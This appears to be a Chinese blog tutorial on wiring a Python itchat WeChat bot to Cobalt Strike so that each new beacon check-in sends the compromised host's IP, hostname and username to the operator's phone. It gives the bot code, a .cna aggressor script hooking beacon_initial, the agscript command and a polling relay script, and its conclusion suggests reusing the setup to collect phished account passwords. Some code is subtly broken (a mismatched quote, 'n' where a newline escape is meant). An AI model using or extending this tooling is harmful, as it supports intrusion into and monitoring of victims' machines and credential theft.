Cobalt Strike上线微信机器人提醒
前言
之前看到师傅们cs上线提醒用的是钉钉机器人,但是钉钉不一定每个人手机上都有,微信应该是每个人手机上都有的,就想着整个微信的,这不就巧了,在刷动态时,发现了微信聊天机器人,改造一下这不就刚正合适,这就跟nice,于是乎就去学了手微信机器人,最后也是成功接受到微信给我发目标信息,一个字爽。这篇文章主要是通过微信机器人来实现目标上线提醒
注:如果你只想看微信聊天机器人的话,看完文章微信机器人版本即可
微信机器人
这个微信机器人是基于Python的,用的还是itchat库,但是不是之前的网页版微信,而是桌面版
启动微信
这行命令用于登录卓面版微信,当程序运行这行命令时会弹出一个二维码,用微信去扫即可登录
import itchat
if __name__ == '__main__':
itchat.auto_login()
手机扫完应该是这样的
确认登录即可,由于程序就一行代码,所以确认登录就结束了,红框中的参数是微信名
登录函数常用的两个参数
- enableCmdQR:将二维码在命令行中显示出来,如果扫描报错,或者无法登录,可以试着将该参数的值为2
- hotReload:持续一段时间登录并在第一次登录成功时在当前目录生成一个itchat.pkl文件,删除该文件在次运行会要求重新扫二维码
文件传输助手
接下来用文件传输助手给你微信发消息
import itchat
if __name__ == '__main__':
# 将二维码打印itchat.auto_login(enableCmdQR=2, hotReload=True)
itchat.auto_login(hotReload=True)
#第一个参数为发送文本
itchat.send_msg("Hello,XD", toUserName='filehelper')
运行该程序,一会你就可以收到文件助手给你发消息了
接收消息并回复
有关@函数装饰器可以看这篇文章(http://c.biancheng.net/view/2270.html)
@itchat.msg_register(itchat.content.TEXT)
def _reply(msg):
print(msg.text) # 用户的信息包含给你发的消息
return_user = "Xd"
return return_user
这里得借助run函数循环接受消息,不然程序一跑结束了,消息还没来,程序先结束了
import itchat
@itchat.msg_register(itchat.content.TEXT)
def Send_Msg(msg):
print(msg.text) # 用户的信息包含给你发的消息
return_user = "Xd"
return return_user
if __name__ == '__main__':
# Linux:itchat.auto_login(enableCmdQR=2, hotReload=True)
itchat.auto_login(hotReload=True)
itchat.run()
由于return_user值没变化,所以不论发什么消息都是回复Xd,可以自己做一个接口,把好友发来的消息交给接口处理,最后把要回复的消息返回给return_user,可以利用百度或者图灵的接口
agscript
cs目录下有该文件agscript,可以利用cna脚本获取cs的目标上线信息,在cs目录下创建xd.cna文件
println('listen suscess');
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$text = $internalIP . '&' . $computerName . '&' . $userName;
println($text)
}
./agscript CsServerIP CsPort user passwd xd.cna,user不能重复,否则会listen 失败,可以看到agscript运行后当有一个目标上线时就会出现红框的信息,分别是目标IP、主机名、用户名,可以使用重定向把打印信息输出到一个文件里
cs上线微信提醒
通过前面的微信机器人和agscript,我们可以做到发微信消息和获取cs目标上线信息,接下来可以使用重复读取文件内容,每次把文件更新的内容发送到微信上面
#!/usr/bin/env python
# encoding: utf-8
'''
@Author : xd
@Date : 2021-12-25 21:28
@Description : cs上线微信提醒.
'''
import time
import itchat
def main():
itchat.auto_login(enableCmdQR=2, hotReload=True)
num = 0
while 1:
#path位置为agscript重定向文件路径
text = open('path‘).read().split('n')
if num + 1 == len(text):
continue
time.sleep(3)
for i in range(num, len(text)):
if text[i] == None:
continue
else:
if '&' in text[i]:
str = text[i].split('&')
itchat.send(' IP : %snHostname : %snUsername : %s' % (str[0], str[1], str[2]),
toUserName='filehelper')
else:
itchat.send(text[i], toUserName='filehelper')
num = len(text) - 1
if __name__ == '__main__':
main()
实战
我们先把cs启动起来,生成一个pyload,再把agscript程序后台运行起来,最后使用运行我们的Python微信机器人
现在我们上线第一台靶机
微信自然也是紧跟其后的发送消息
隔个几分钟,我们在上一台靶机
微信肯定依旧跟上
总结
最终也是成功的实现了cs上线微信提醒,其实并不止cs上线可以,你也可以改动用于钓鱼账户密码之类,我只是解决了利用微信发消息,但是怎么玩,还得取决于你